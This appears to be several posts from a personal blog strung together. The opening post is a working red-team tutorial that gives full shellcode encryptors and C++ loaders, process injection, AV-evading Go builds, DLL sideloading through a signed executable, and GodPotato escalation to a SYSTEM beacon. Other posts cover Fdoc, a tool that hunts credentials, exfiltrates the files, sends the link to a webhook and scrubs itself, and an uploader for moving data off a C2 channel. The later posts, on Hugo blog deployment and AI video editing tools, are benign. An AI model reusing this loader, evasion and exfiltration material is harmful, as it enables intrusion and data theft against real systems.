Whether extracted from an EXE/Beacon via donut or generated directly from Cobalt Strike, shellcode is typically XOR/AES-encrypted and then executed through a standalone loader or a sideloaded DLL. This post walks through the full chain—generation, encryption, loading, and delivery—with two practical case studies.

Overview

For DLL hijacking fundamentals, see the published article: Windows DLL Hijacking Analysis.

1. Generate Shellcode

1.1 Extract from EXE (donut / go-donut)

go-donut (bin output only): Binject/go-donut

./go-donut -i windows_amd64.exe   # extension required, otherwise bin is unusable

donut (recommended): TheWover/donut

# -f 3: C-style shellcode; -z 2: compression
donut.exe -i windows_i386.exe -f 3 -z 2

1.2 Generate from Cobalt Strike

1. CS → Attacks → Packages → Payload Generator (for C-format shellcode; Windows Executable (S) produces an EXE, not the byte array used here)
2. Choose C output: unsigned char buf[] = "\x90\x90...";
3. For the Python encryptor in this post: produce a raw binary .bin (do not only strip \x and leave hex ASCII text; convert \xHH to bytes, or export/convert to bin)
4. Encrypt (Section 2), then deliver via sideloaded DLL or standalone loader

2. Encryption

2.1 XOR

Python (encrypt)

import sys

def xor_encrypt(shellcode, key):
    encrypted_shellcode = bytearray()
    key_len = len(key)
    for i in range(len(shellcode)):
        encrypted_shellcode.append(shellcode[i] ^ key[i % key_len])
    return encrypted_shellcode

def main():
    if len(sys.argv) != 3:
        print("Usage: python3 ShellcodeEncrypt.py <payload.bin> <payload.dat>")
        return

    with open(sys.argv[1], "rb") as file:
        shellcode = bytearray(file.read())

    key = bytearray(b'henry123456aa+-==@asd')
    encrypted_shellcode = xor_encrypt(shellcode, key)

    with open(sys.argv[2], "wb") as output_file:
        output_file.write(encrypted_shellcode)

if __name__ == '__main__':
    main()

C++ (decrypt)

#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>

void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
    FILE* file;
    if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
        return nullptr;

    fseek(file, 0, SEEK_END);
    BufSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    void* RetVoid = malloc(BufSize);
    if (!RetVoid) {
        fclose(file);
        return nullptr;
    }

    fread(RetVoid, 1, BufSize, file);
    fclose(file);
    return RetVoid;
}

// Read encrypted shellcode from a .dat file matching the executable name
WCHAR szFilePath[MAX_PATH + 1] = { 0 };
GetModuleFileName(NULL, szFilePath, MAX_PATH);
lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");

DWORD size;
void* buffer = FileToMem(szFilePath, size);

if (buffer) {
    char* shellcode = new char[size];
    memcpy(shellcode, buffer, size);
    free(buffer);

    const char key[] = "henry123456aa+-==@asd";
    int keylength = strlen(key);

    for (DWORD i = 0; i < size; i++) {
        shellcode[i] ^= key[i % keylength];
    }
    // shellcode decrypted, length = size
}

2.2 AES

Dependency: tiny-AES-c (add aes.c, aes.h, aes.hpp to your project)

Python (encrypt)

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import sys

def main():
    key = b'0123456789abcdef'
    iv = b'0123456789abcdef'

    if len(sys.argv) != 3:
        print("Usage: python3 shellcodeAESenc.py <payload.bin> <payload.dat>")
        return

    with open(sys.argv[1], "rb") as file:
        shellcode = bytearray(file.read())

    print("Original Shellcode Size:", len(shellcode))

    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_data = pad(shellcode, AES.block_size)
    encrypt = cipher.encrypt(padded_data)

    with open(sys.argv[2], "wb") as output_file:
        output_file.write(encrypt)

if __name__ == '__main__':
    main()

C/C++ (decrypt)

#include <Windows.h>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include "aes.hpp"

void* FileToMem(const WCHAR* FilePath, _Out_ DWORD& BufSize)
{
    FILE* file;
    if (_wfopen_s(&file, FilePath, L"rb") != 0 || !file)
        return nullptr;

    fseek(file, 0, SEEK_END);
    BufSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    void* RetVoid = malloc(BufSize);
    if (!RetVoid) {
        fclose(file);
        return nullptr;
    }

    fread(RetVoid, 1, BufSize, file);
    fclose(file);
    return RetVoid;
}

int main() {
    WCHAR szFilePath[MAX_PATH + 1] = { 0 };
    GetModuleFileName(NULL, szFilePath, MAX_PATH);
    lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"dat");

    DWORD size;
    void* buffer = FileToMem(szFilePath, size);

    if (buffer) {
        char* shellcode = new char[size];
        memcpy(shellcode, buffer, size);
        free(buffer);

        // Exactly 16 bytes; do not use a string literal (adds trailing '\0')
        unsigned char key[16] = {
            '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
        };
        unsigned char iv[16] = {
            '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'
        };
        // Ciphertext is padded; originSize MUST be the Original Shellcode Size printed by the encryptor
        DWORD originSize = 36999;  // example only—replace with your value
        unsigned char* ushellcode = reinterpret_cast<unsigned char*>(shellcode);

        struct AES_ctx ctx;
        AES_init_ctx_iv(&ctx, key, iv);
        // size must be a multiple of 16 (matches Python pad output)
        AES_CBC_decrypt_buffer(&ctx, ushellcode, size);

        DWORD dwOldPro = 0;
        VirtualProtect(ushellcode, originSize, PAGE_EXECUTE_READWRITE, &dwOldPro);
        EnumUILanguages((UILANGUAGE_ENUMPROC)(char*)ushellcode, 0, 0);

        // Do not delete[] if shellcode stays resident (e.g. beacon)
    }
}

2.3 RSA

Reference: RSA shellcode encryption (WeChat article)

3. Loading Techniques

3.1 VirtualProtect + callback execution

char* shellcode = ...;
DWORD size = ...;

DWORD dwOldPro = 0;
VirtualProtect(shellcode, size, PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)shellcode, 0, 0);
// Resident shellcode: do not free here

3.2 Suspended-process injection (傀儡进程)

Flow: create suspended process → remote alloc/write shellcode → SetThreadContext to change entry → resume.
This is not classic Process Hollowing (unmap original image and replace the PE).

char* shellcode = ...;
DWORD size = ...;

PROCESS_INFORMATION ProcessInformation = {};
STARTUPINFOA StartupInfo = {};
void* remote = nullptr;
CONTEXT Context = {};
DWORD DwWrite = 0;

StartupInfo.cb = sizeof(StartupInfo);

// CREATE_SUSPENDED; command line must be a writable buffer (not a string literal)
char cmdLine[] = "C:\\Windows\\explorer.exe";
BOOL result = CreateProcessA(
    nullptr, cmdLine, nullptr, nullptr, FALSE, CREATE_SUSPENDED,
    nullptr, nullptr, &StartupInfo, &ProcessInformation
);

if (result) {
    Context.ContextFlags = CONTEXT_FULL;
    GetThreadContext(ProcessInformation.hThread, &Context);
    remote = VirtualAllocEx(
        ProcessInformation.hProcess, nullptr, size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(ProcessInformation.hProcess, remote, shellcode, size, &DwWrite);
    Context.Eip = (DWORD)(uintptr_t)remote;  // x86 only
    SetThreadContext(ProcessInformation.hThread, &Context);
    ResumeThread(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
}

delete[] shellcode;

3.3 VirtualAlloc + direct call

char* shellcode = ...;
DWORD size = ...;

LPVOID allocatedMemory = VirtualAlloc(
    NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
if (allocatedMemory == NULL) {
    delete[] shellcode;
    return;
}

memcpy(allocatedMemory, shellcode, size);
void(*shellcodeFunction)() = (void(*)())allocatedMemory;
shellcodeFunction();
// Resident shellcode: do not VirtualFree(allocatedMemory, ...)

4. Off-the-Shelf Loaders

Recommended Go build (smaller footprint):

CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-w -s -H windowsgui" -o out.exe

Default build (more likely to be flagged):

GOOS=windows GOARCH=amd64 go build

5. Case Studies

5.1 CS Shellcode + Encryption + DLL Sideloading

Typical chain: CS shellcode → XOR to disk → malicious DLL decrypts & runs → signed EXE triggers load.

See Windows DLL Hijacking Analysis for hijacking mechanics.

Step 1: Find a suitable signed EXE

WPS et.exe depends on a co-located DLL—drop a malicious DLL with the same name to hijack loading.

Step 2: Build the malicious DLL

1. Parse the original DLL with AheadLib

2. Create a VS DLL project and import the generated code

3. In an export or a deferred path: read encrypted file → XOR decrypt → execute (Sections 2–3)

4. Build settings:
   • asm file → Custom Build Tool
   • C/C++ → Code Generation → Runtime Library → /MT
   • C/C++ → Precompiled Headers → Not Using
   • Linker → Debugging → Generate Debug Info → No
   • Platform must match the signed EXE (Win32 / x64)

Step 3: Generate and encrypt shellcode

1. Export C-format via Payload Generator, then convert to raw .bin for the encryptor

2. XOR encrypt; save under the exact filename your DLL expects

python3 ShellcodeEncrypt.py payload.bin et.dat

Step 4: Deploy

Place signed EXE + malicious DLL + encrypted shellcode in the same directory and run the signed EXE.

func init() {
    // Prefer: go func() { read .dat → decrypt → execute }()
    // Do not synchronously run CLR-heavy logic in init
}

5.2 GodPotato + DLL Sideloading

Project: GodPotato

Chain: in a session that already meets potato prerequisites, sideload runs GodPotato shellcode → GodPotato elevates to SYSTEM → starts beacon.

Step 1: Hardcode the beacon command

potatoArgs = new newgodArgs
{
    // Point at beacon on the target—not the signed et.exe
    cmd = "cmd /c c:\\users\\public\\downloads\\beacon.exe"
};

Build as newgod.exe.

Step 2: Extract shellcode with donut

donut.exe -i newgod.exe

Sample output:

[ Shellcode     : "loader.bin"
[ File type     : .NET EXE
[ Target CPU    : x86+amd64

Step 3: Encrypt shellcode

python3 ShellcodeEncrypt.py loader.bin loader.dat

Rename loader.dat to the name your loader expects (e.g. et.dat).

Step 4: Deploy

Place these in the same directory (beacon path must match Step 1), e.g. C:\Users\Public\Downloads:

Run et.exe: DLL decrypts/runs GodPotato shellcode at a safe time (not heavy work in DllMain) → (with SeImpersonate) elevates → runs beacon.exe as SYSTEM.

When you land on a host (or only have a short-lived shell), the goal is rarely a full disk image. More often you need to filter a subset of files, pack them into a size-bounded archive, and get the result back to the operator side quickly.

1. Use cases

Typical needs include:

• Type filtering: only certain types—contracts/report PDFs, Office files, configs, archives, recently modified documents
• Stacked conditions: names containing password/password-book, content matching credential patterns (via -keyword secrets), mtime after a given day
• Size and time limits: cannot blindly pack tens of GB, and cannot linger on the target
• Result callback: packing is not enough—files stay on the target; you still need the download URL back on the operator side, even if the parent process/C2 dies
• Footprint control: after transfer, avoid leaving the archive and the tool itself on disk

A concrete playbook: right after initial access, run a short collection pass—filter sensitive configs, documents, spreadsheets, and source by extension/name/keyword into an archive, exfil to a local analysis box. The pack often yields network maps, password books, credential sheets, and ops manuals that support lateral movement—without slowly browsing the disk on target.

Red-team exfil, pulling key evidence in IR, or ops “only grab this directory/file class”—all are selective exfil, not backup, not full-disk forensics.

Fdoc is built for that: filter on target, pack, (optionally) upload, (optionally) callback the URL to a receiver, (optionally) scrub.

2. Pain points addressed

In one line:

Under the constraint of “short dwell time, only some files, and still get results home,” Fdoc folds filter, pack, exfil, and callback into one scriptable command chain.

3. Pipeline

Main path:

Parse flags → Walk from -d → filter by rules → stream-write .tgz → (optional) encrypt and upload to temp hosting → (optional) webhook/DNS callback URL → (optional) scrub

Per file, filters are a fixed AND chain (unset items pass):

Skip -x dirs → regular file or followable file symlink → -e extension → -f name → -t date → -k/-keyword content → -max-file → whether total hits -max.

Commas inside one flag are OR. Example: -e pdf -f invoice -t 2024-01-01 requires all three; -keyword password:,token: matches either in content. Presets work too: -keyword secrets (alias creds) expands to assignment/JSON credential substrings. Details and preset tables: 4.1 Multi-condition filtering.

Size and exit behavior:

• Default soft cap: total budget counted by logical size, default 1GB; per-file -max-file off by default (0)
• No explicit -max: hitting the budget fails immediately (exit 1) and asks you to set -max (or -max 0 to disable)—avoids silent truncation
• Explicit -max: truncate and keep what was packed (exit 2); if upload is on, the partial archive may still upload—“take what you can”
• Huge single files: add -max-file explicitly when you need to skip them

Without -upload, packing stays local and offline. With it, probe, upload, and callback kick in.

4. Features

4.1 Multi-condition filtering

Narrow the set by extension, name, content, date, and skip dirs; conditions are AND across flags, OR within a comma-separated flag. Rules: 3. Pipeline.

-e presets:

-keyword presets:

Examples:

Fdoc -d /data -e pdf -f invoice -keyword 'token:' -t 2025-01-01 -o hits.tgz
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz

Symlinks: on Unix/macOS, file symlinks are followed (content from target, archive path keeps the link path); directory symlinks are not entered. Windows .lnk is not resolved—only the shortcut file itself is packed when -e matches.

4.2 Stream pack with size budget

No full listing then compress—memory stays bounded. Use -size to estimate first. Long jobs emit PACK_PROGRESS / UPLOAD_PROGRESS heartbeats for headless use.

4.3 Built-in upload: auto-pick temp backends by size

With -upload, backends are filtered by archive size, probed in parallel, and failed over by latency; pin one with -b (demos often use -b lit). Full names and size caps: Fdoc backends. Without callback, the URL goes to stdout for scripting; status lines on stderr (UPLOAD_OK, etc.).

4.4 Callback decoupled from the session

With -webhook / -dns, the download URL is pushed to your receiver: HTTPS webhook first, DNSLog shards on failure. If the parent session dies, you may still recover the URL from the callback. stdout/stderr roles stay fixed so scripts and humans do not fight over output.

4.5 Optional pre-upload encryption

-encrypt -key: AES-256-CBC with UP01 magic; remote objects use .bin so they are not mistaken for plain gzip. Built-in Fdoc decrypt—no second tool. The key is a passphrase padded to 32 bytes (not PBKDF2); treat it as a shared-secret model.

4.6 Optional scrub

After a successful upload (and successful callback if configured), delete the archive and the binary itself. On Windows, self-delete is best-effort (delayed / reboot delete); failure yields SCRUB_PARTIAL and a non-zero exit.

4.7 Cross-platform static binary

Ships as dependency-free static singles for Linux / Windows / macOS (amd64 and arm64). Same flags across platforms; Windows scrub, SkipDirs, and .lnk behavior are covered above and in release notes.

5. Minimal examples

# Estimate size first when unsure
Fdoc -d /data -e documents -size

# Pack
Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz

# Hunt credential patterns in config/JSON
Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz

# Upload; URL on stdout
Fdoc -d /data -o /tmp/docs.tgz -upload -q

# Encrypt + upload + webhook callback + scrub
Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz \
  -upload -encrypt -key "$KEY" \
  -webhook https://your.receiver/hook \
  -scrub -q

DNS shard format, encryption disk use, Windows SkipDirs, and related details: see the Fdoc README.

6. Terminal demos

Four clips cover the main path: size estimate → filtered pack → pinned-backend upload → upload with webhook callback.

C2 is designed for command control and lightweight interaction, not sustained large-file transfers. During authorized testing, bulk traffic can be moved to a temporary cloud upload service while C2 only sends commands and returns download links.

1. Why separate the data channel

Directly downloading large files over C2 creates four problems:

• Bandwidth contention: bulk transfers block command interaction and heartbeats.
• Reliability: sleep, jitter, timeouts, and weak resume support increase retransmission cost.
• Path overhead: encoding, chunking, pivots, SOCKS, and multiple hops add traffic, latency, and failure points.
• Infrastructure exposure: sustained high-volume traffic converges on the C2 server and affects other sessions on a shared Team Server.

The separated flow is:

1. Stage files or directories on the target
2. Upload from the target to a temporary storage service reachable from the current network
3. Return the download link over C2
4. Download the file from a separate testing environment

Control traffic stays on C2; large-file traffic follows target → upload service.

2. How Uploader handles the transfer

Uploader implements the multi-backend approach introduced by Mikubill/transfer. Its main functions are:

• backends: list backends, size limits, status, and URLs.
• probe: test reachability and latency from the current network.
• Automatic mode: filter backends by payload size, probe and sort by latency, then fail over on errors.
• Size preflight: reject a file or estimated directory size that exceeds a backend limit.
• Directory handling: create a temporary Deflate ZIP by default and remove it after upload; -r uploads files individually.
• Encryption: -e -k uses AES-256-CBC with a UP01 header, random IV, and ciphertext.
• Script-friendly output: -q writes only the successful link to stdout and errors to stderr.

Backend availability changes with both the service and the network. Treat uploader probe as the runtime source of truth.

3. Command examples

uploader -q ./evidence

Without -b, the sequence is: size filter → probe → latency order → failover. Directories are packed first; success prints one download link.

# Pin lit
uploader -q -b lit ./dump.zip

# Prefer lit but allow failover
uploader -q -b lit -auto ./dump.zip

# Upload directory files individually
uploader -q -r ./dir

# Encrypt before upload
uploader -q -e -k 'your-key' ./secret.bin

List and probe backends:

uploader backends
uploader probe
uploader probe temp lit gof -timeout 20

Exit codes are 0 for success, 1 for upload or configuration failure, and 2 for invalid arguments. -keep waits for keyboard input and is unsuitable for headless execution.

4. Limitations and checks

1. Confirm target egress, proxy, allowlists, and TLS inspection policy, then validate the path with a small file.
2. Public upload services may log sources, scan content, and enforce file-type, capacity, and retention limits. Confirm engagement requirements before use.
3. Directory mode writes a temporary ZIP to disk. Use -r or another transfer method if staging is not allowed.
4. AES-256-CBC provides content confidentiality only; it does not replace integrity verification or key management.
5. Filenames can disclose context. Use names without business meaning.
6. After download, remove temporary files, the binary, and command history, and retrieve data before the link expires.

A practical recap of the optimizations applied to this site, so the setup can be reproduced against the current repository.

• Site: https://blog.leeissonba.com/
• Theme: LoveIt · Hosting: Cloudflare Workers static assets
• Repo: https://github.com/simonlee-hello/MyBlog

1. Background and goals

This personal blog runs on Hugo Extended + LoveIt, with these requirements:

• Chinese as the default language, with an English switch
• Draft in Obsidian / Typora, then auto-fill front matter, cover image, English version, and publish
• Deploy on Cloudflare with a custom domain
• Comments, on-page counters, and backend analytics each in place
• Code blocks and videos that do not break the layout

Each section lists paths and config points that match the current repo.

2. Project layout and local commands

This chapter defines the repository layout, local commands, and ignore rules—the baseline for template overrides, styles, and deploy.

2.1 Key directories

.
├── archetypes/          # new-post templates
├── assets/css/          # _custom.scss theme overrides
├── content/posts/       # posts (zh .md / en .en.md)
├── drafts/              # local drafts (gitignored)
├── layouts/             # theme overrides (do not edit themes/LoveIt)
├── static/              # images, videos, favicon
├── themes/LoveIt/       # Git submodule
├── .cursor/skills/      # hugo-blog-publish / loveit-theme
├── build.sh / wrangler.jsonc / package.json  # Cloudflare build
├── hugo.toml
└── Makefile

2.2 Common commands

make dev      # hugo server -D
make build    # HUGO_ENV=production hugo --minify
make clean

2.3 .gitignore

public/, resources/, .hugo_build.lock, .cache/, and drafts/ are ignored.

• Does not block deploy: Cloudflare rebuilds public/ with hugo build in CI; the repo does not need build artifacts.
• Keep drafts/ local; publish into content/posts/ after review.

3. Fixing Hugo deprecation warnings

Newer Hugo warns about .Site.LanguageCode, .Language.LanguageName, .Sites, and the languageCode config key.

Rule: do not edit the theme submodule; override templates under project layouts/.

On the config side, use locale (this site: Chinese zh-CN, English en) instead of deprecated languageCode.

4. Chinese default and bilingual content rules

Default language and file naming must stay consistent, or the language switch shows an empty post list.

4.1 Site languages

In hugo.toml:

• defaultContentLanguage = "zh-cn"
• [languages.zh-cn] with a smaller weight (primary)
• [languages.en] for the English site

4.2 File naming (important)

When Chinese is the default:

About pages follow the same pattern: content/about/index.md + index.en.md.

If English lives in bare .md and Chinese in .zh-cn.md, switching to /en/ will hide English posts—an early footgun on this site.

4.3 Social links

Set [params.home.profile] social = true and configure [params.social] (GitHub, Email, RSS, etc.). Icons appear on the home profile only then.

5. Writing and publish workflow

Conventions from draft to live: front matter, covers, media paths, and how Cursor skills help publish.

5.1 Minimal publish flow

1. Write Chinese Markdown in Obsidian / Typora / drafts/
2. Publish with Cursor skill hugo-blog-publish (default: front matter, cover, English translation, hugo build, commit + push)
3. Skip push when only local verification is requested; skip .en.md when Chinese-only is requested

5.2 Front matter convention

---
title: ""
date: 2026-07-13T12:00:00+08:00
draft: false
description: ""
categories: []
tags: []
featuredImage: "/images/posts/{slug}/featured.jpg"
featuredImagePreview: "/images/posts/{slug}/featured.jpg"
---

• Insert <!--more--> after the first paragraph for the summary
• Chinese and English share the same cover / media paths

5.3 Media paths

Recommended video markup:

<video controls playsinline preload="metadata" src="/videos/posts/{slug}/demo.mp4"></video>

External image URLs and Bilibili / YouTube embeds stay as-is; Bilibili can use LoveIt’s bilibili shortcode.

5.4 LoveIt writing skill

There is also a loveit-theme skill (linked from publish): quick reference for admonition, image, mermaid, math, Giscus, visit counters, and more. Publish may lightly upgrade tips to admonition or Bilibili links to shortcodes.

Official docs: LoveIt.

6. Layout fixes: code and video

Production issues: long code lines overflow the code box; <video> width did not match content width. Fixed in assets/css/_custom.scss:

• Code blocks: max-width: 100%, overflow-x: auto, pre-wrap when needed
• video: width/max-width: 100%, display: block, height: auto

Still wrap extremely long command lines in the source for readability.

7. Deploy to Cloudflare Workers

Static hosting follows the official Hugo Cloudflare guide; this site uses Workers static assets.

7.1 Repo files

The Cloudflare project name should match name in wrangler.jsonc.

7.2 Dashboard notes

• Static-only Worker: do not set HUGO_BASEURL under runtime Variables and Secrets
• Put build-related vars under Build variables, or hardcode baseURL in hugo.toml (this site uses https://blog.leeissonba.com)
• Bind the custom domain under Workers → Domains

7.3 Submodule

The theme is a submodule. Cloudflare build must run git submodule update --init --recursive; local clones need the submodule too.

8. Comments: Giscus

Valine (LeanCloud) was considered; the site settled on Giscus (GitHub Discussions).

8.1 Prerequisites

1. Repository is Public
2. Discussions enabled
3. Install the giscus GitHub App and grant this repo

8.2 Site config (hugo.toml)

[params.page.comment]
  enable = true
  [params.page.comment.giscus]
    enable = true
    repo = "simonlee-hello/MyBlog"
    repoId = "R_kgDOTVNnWg"
    category = "Announcements"
    categoryId = "DIC_kwDOTVNnWs4DBC6N"
    mapping = "pathname"

repoId / categoryId are public GitHub GraphQL node IDs. They appear in page source and are not secrets—safe to publish with the site config.

Disable per page with comment: false.
Loaded only in production builds; locally use HUGO_ENV=production.

Comment data lives in the repo’s Discussions.

9. Analytics: two complementary layers

Cloudflare Web Analytics cannot render counts on the public page (no public front-end API). Busuanzi/Vercount were tried earlier and dropped because third-party counters can reset.

This site follows analytics_with_cloudflare, with site-wide spv / suv as in Hugo self-hosted visit counters. Reproduce against the repository.

9.1 Architecture

• Separate Worker web-analytics (not the blog static Worker myblog / simons-blog)
• D1 database web_analytics stores visits
• Browser POST /api/visit: insert one row; optionally return page pv and site spv / suv
• Hugo loads the script only in production (same gate as Giscus)

9.2 Deploy the counter API (Cloudflare)

Work in the subdirectory (do not confuse with the root Hugo wrangler.jsonc):

cd services/web-analytics
npm install
npx wrangler login
npx wrangler d1 create web_analytics
# Write the returned database_id into this directory's wrangler.jsonc
npm run initSql
npm run deploy

Notes:

• npm run deploy passes --config wrangler.jsonc. Using the repo-root config will try Hugo’s build.sh and fail
• Dashboard → Workers → web-analytics → add a custom domain such as analytics.leeissonba.com (workers.dev is blocked in some regions)
• Smoke test: POST https://analytics.your-domain/api/visit with hostname, url, spv: true, etc.; expect {"ret":"OK","data":{...}}

9.3 Wire Hugo front end

Key files:

Config example:

[params.webAnalytics]
  enable = true
  baseURL = "https://analytics.leeissonba.com"  # must match custom domain

Footer placeholders:

Site visits <span id="site_pv">-</span> · Visitors <span id="site_uv">-</span>

Post meta placeholder:

Views <span id="page_pv">-</span>

Implementation notes:

• Load the script once in the footer to avoid double counting
• Do not use the upstream demo’s document.head.innerHTML += … (rebuilds <head> and can break theme scripts)
• Local check: HUGO_ENV=production hugo server; plain hugo server does not load or count
• Push the blog repo and wait for the static rebuild before numbers appear in production

9.4 Acceptance

1. Open any post: meta views show a number; refresh should increase it
2. Footer site PV / UV show numbers
3. In Cloudflare, check request volume on the web-analytics Worker (not the zero-request static myblog app)

10. Config switch cheat sheet

# comments
[params.page.comment]
  enable = true

# on-page counters (self-hosted Worker + D1)
[params.webAnalytics]
  enable = true
  baseURL = "https://analytics.leeissonba.com"

# home social icons
[params.home.profile]
  social = true

Keep theme overrides under project layouts/ and assets/ so LoveIt submodule upgrades stay smaller.

11. Reproduction checklist

When aligning a fresh copy with this site:

1. Hugo Extended + git submodule update --init
2. hugo.toml: baseURL, default language, social, Giscus, webAnalytics
3. Cloudflare blog project name matches root wrangler.jsonc name
4. layouts/ deprecation overrides + footer / posts/single / web-analytics partial
5. assets/css/_custom.scss for code and video; assets/js/analytics.js in place
6. Cloudflare blog: connected repo, build script, custom domain, HUGO_ENV=production
7. Giscus App installed; Discussions enabled
8. (Optional) Web Analytics filter for blog. host
9. Deploy services/web-analytics: D1 + Worker + custom domain matching baseURL
10. Cursor skills: hugo-blog-publish + loveit-theme
11. Smoke-test one post: bilingual, featuredImage, local media paths, <!--more-->; verify views in production

12. References

• LoveIt docs
• Host on Cloudflare (Hugo)
• Giscus
• analytics_with_cloudflare
• Hugo self-hosted visit counters (Worker + D1)
• This repo: services/web-analytics/README.md
• Cloudflare Dashboard → Analytics & Logs → Web Analytics

I recently looked into AI for video generation and intelligent editing. This post records what I learned.

I mainly tried these open-source tools: video-use, OpenMontage, Remotion, dots.tts, and HyperFrames. Briefly:

Video-USE

https://github.com/browser-use/video-use

Installation

Dependencies are relatively easy to set up. You can also ask your agent to install it with a prompt like:

Set up https://github.com/browser-use/video-use for me.

Read install.md first to install this repo, wire up ffmpeg,
register the skill with whichever agent you're running under,
and set up the ElevenLabs API key — ask me to paste it when you need it.
Then read SKILL.md for daily usage, and always read helpers/
because that's where the editing scripts live.
After install, don't transcribe anything on your own —
just tell me it's ready and wait for me to drop footage into a folder.

Manual install:

# 1. Clone and symlink into your agent's skills directory
git clone https://github.com/browser-use/video-use ~/Developer/video-use
ln -sfn ~/Developer/video-use ~/.claude/skills/video-use        # Claude Code
# ln -sfn ~/Developer/video-use ~/.codex/skills/video-use       # Codex

# 2. Install deps
cd ~/Developer/video-use
uv sync                         # or: pip install -e .
brew install ffmpeg             # required
brew install yt-dlp             # optional, for downloading online sources

# 3. Add your ElevenLabs API key
cp .env.example .env
$EDITOR .env                    # ELEVENLABS_API_KEY=...

Project layout:

First try

It is mainly audio-first (talking-head style): speech → text, then the model analyzes the transcript, writes an edit script, renders, and delivers. As a skill, you can steer pacing and direction interactively, similar to vibe-coding. The first trials felt promising.

I used cc-switch to manage skills, and Cursor as the agent (any agent works).

This was roughly an 8-minute talking-head source. The tool analyzed the full spoken content and structure, and flagged stumbles / repeats / rambling for later cuts. Editing is driven by ffmpeg; transcription uses ElevenLabs.

It proposes an edit strategy and asks for your input.

The edit folder holds intermediate artifacts: text animations, segments, scripts, validation, and finals.

project.md stores the conversation trail so you can resume the job later:

Session 1 — 2026-07-11

Strategy: 将 8分34秒竖屏口播素材压缩为 3 分钟以内的柬埔寨摆地摊分析视频。结构：开场设问 → 政策风险（2019法令+打车平台案例）→ 机会（信息差）→ 建议（选品/长期主义）→ 收尾（旅游签探市场+平价主义）。跳切去除口误和重复，保留打车平台被下架的核心案例。

Decisions:

16 段 EDL，总时长 2:58（178.3s）
调色 neutral_punch，无字幕，无动画
跳过重复口误段（打车平台操作重复、赋能段重复、长段啰嗦）
输出 preview.mp4（1080×1920，24fps，-14 LUFS）
Reasoning log:

打车案例保留 RIDE1-3 连贯叙事，删 RIDE2 中「好几万嘟嘟车」冗余
ADV3/ADV4 赋能段与 CLOSE 风土人情段为控时长暂删，保留 ADV1+ADV2 核心建议
词边界 + 50/80ms padding，30ms 音频淡入淡出
Session 1 — 2026-07-11 (update)

Added: 中文字幕（126条 ASS，Heiti SC，底部安全区）、6 个话题动画卡片（橙金配色，顶部弹出）。输出 final.mp4。

Outstanding: 如需更多动画或调整卡片样式/时间点，反馈即可。

Session 2 — 2026-07-11

Strategy: 从零合成 Hugo + LoveIt + Wrangler CLI 教程视频（3 分钟紧凑版）。终端动画展示各步骤命令，ElevenLabs 男声（Daniel）旁白，键盘/whoosh/成功音效，PIL 字幕 overlay 烧录（本机 ffmpeg 无 libass）。

Decisions:

7 段结构：开场 → 安装/建站 → LoveIt 主题 → 写文章 → 本地预览 → Wrangler 部署 → 收尾
1920×1080@24fps，Catppuccin 终端配色，Menlo 等宽字体
总时长 1:50（110s），紧凑节奏
输出 edit/hugo-tutorial/final.mp4
Reasoning log:

amix duration=longest 修复 whoosh 段被截断至 0.33s 的问题
PIL RGBA overlay 替代 subtitles filter（ffmpeg 未编译 libass）
Outstanding: 如需延长至满 3 分钟或替换为真实录屏，反馈即可。

Takeaways

The final cut looked solid enough for light / rough editing. I am not embedding that video here; try it yourself if interested. Cost is mainly LLM tokens (whatever model you wire up; DeepSeek V4 worked in a quick test, roughly a couple of RMB) plus ElevenLabs credits. New ElevenLabs accounts get about 10,000 credits; this edit used around 500.

OpenMontage

https://github.com/calesthio/OpenMontage

I will skip the install details. The interesting part is a local web UI with a task board so you can watch live progress.

My prompt was: “Make a 60-second animated explainer on how typhoon weather forms.” The board looks quite polished:

Text-to-speech used the local Xiaohongshu open-source model dots.tts (Hugging Face Space): script shot text is turned into audio and mixed into the video.

Projects land under projects/; finals under exports/.

The resulting clip:

Takeaways

Quality is average—you can tell it is an AI pipeline product. Fine for simple needs. This was only a quick test without prompt tuning; I will dig deeper later.